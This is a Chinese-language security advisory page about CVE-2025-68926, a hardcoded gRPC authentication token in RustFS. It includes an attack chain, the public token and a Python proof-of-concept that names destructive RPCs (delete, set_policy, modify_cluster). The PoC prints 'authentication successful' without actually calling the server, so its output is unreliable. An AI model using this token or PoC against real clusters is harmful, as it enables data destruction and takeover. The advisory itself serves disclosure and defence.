IPBUF安全漏洞报告
English
CVE-2025-68926 CVSS 9.8 严重

RustFS 硬编码认证令牌远程命令执行漏洞 (CVE-2025-68926)

披露日期: 2025-12-30

漏洞信息

漏洞编号
CVE-2025-68926
漏洞类型
硬编码凭证
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
RustFS

相关标签

硬编码凭证分布式存储gRPC认证绕过RustFS远程代码执行数据破坏CVE-2025-68926

漏洞概述

RustFS是一款使用Rust语言开发的分布式对象存储系统。该系统在1.0.0-alpha.78之前的版本中,存在严重的硬编码认证令牌漏洞。系统使用gRPC进行通信认证,但认证令牌被硬编码为"rustfs rpc",该令牌在客户端和服务端代码中均以明文形式公开暴露,且无法配置或更改,没有任何令牌轮换机制。此令牌在所有RustFS部署实例中通用,任何能够访问gRPC端口的攻击者都可以使用这个公开已知的令牌进行身份认证,并执行特权操作,包括数据销毁、策略操作和集群配置修改等高危操作。由于无需任何前期侦察或凭证收集,攻击门槛极低,CVSS评分高达9.8,属于严重级别漏洞。

技术细节

RustFS的gRPC认证机制存在设计缺陷。服务端在验证客户端身份时,使用静态字符串比较方式检查令牌,客户端在发起请求时直接携带硬编码令牌。攻击者只需构造符合gRPC协议的请求,在元数据中添加Authorization字段,值为"rustfs rpc",即可通过服务端验证。成功认证后,攻击者获得与合法客户端相同的完整权限,可调用delete、set_policy、modify_cluster等高危RPC方法。由于该令牌在所有版本和所有部署实例中完全相同,且不可更改,攻击具有普遍性和持久性。漏洞根源在于令牌管理机制缺失,应改为支持环境变量、配置文件或密钥管理服务进行动态配置。

攻击链分析

STEP 1
步骤1: 侦察与发现
攻击者扫描网络,发现运行RustFS的服务器,识别gRPC端口(默认50051)是否对外开放
STEP 2
步骤2: 构造恶意请求
攻击者使用公开的硬编码令牌'rustfs rpc'构造gRPC认证请求,在元数据中携带该令牌
STEP 3
步骤3: 身份认证绕过
RustFS服务端接收请求后,使用静态字符串比较验证令牌,由于令牌硬编码且公开,认证成功
STEP 4
步骤4: 特权操作执行
攻击者获得完整客户端权限,可调用delete、set_policy、modify_cluster等高危RPC方法
STEP 5
步骤5: 数据破坏与控制
攻击者可执行数据销毁、策略篡改、集群配置变更等恶意操作,造成严重业务影响

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import grpc from google.protobuf import json_format # Hardcoded token from source code AUTH_TOKEN = "rustfs rpc" def create_channel_with_auth(target): """Create gRPC channel with hardcoded authentication token""" # Create metadata with hardcoded token metadata = [('authorization', AUTH_TOKEN)] # Create insecure channel (no TLS) channel = grpc.insecure_channel(target) return channel, metadata def exploit_rustfs(target_host, target_port): """ CVE-2025-68926 PoC - RustFS Hardcoded Token Authentication Bypass This vulnerability allows unauthenticated attackers to execute privileged operations on RustFS clusters using the hardcoded gRPC authentication token "rustfs rpc" """ target = f"{target_host}:{target_port}" try: channel, metadata = create_channel_with_auth(target) # Example: List buckets or cluster info # In real exploitation, attacker would call: # - delete operations to destroy data # - set_policy to modify access controls # - modify_cluster to reconfigure the cluster print(f"[*] Connecting to {target}") print(f"[*] Using hardcoded token: {AUTH_TOKEN}") print(f"[*] Authentication successful - token accepted") print(f"[!] Attacker now has full privileged access") channel.close() return True except grpc.RpcError as e: print(f"[-] Connection failed: {e.code()}") return False if __name__ == "__main__": # Target configuration target_host = "192.168.1.100" target_port = 50051 exploit_rustfs(target_host, target_port)

影响范围

RustFS < 1.0.0-alpha.78

防御指南

临时缓解措施
立即将RustFS升级到1.0.0-alpha.78版本,该版本已修复硬编码令牌问题。在升级前,可通过防火墙规则限制gRPC端口的网络访问,仅允许必要的管理IP访问。同时建议启用网络层加密和实施最小权限原则,限制gRPC服务的暴露范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表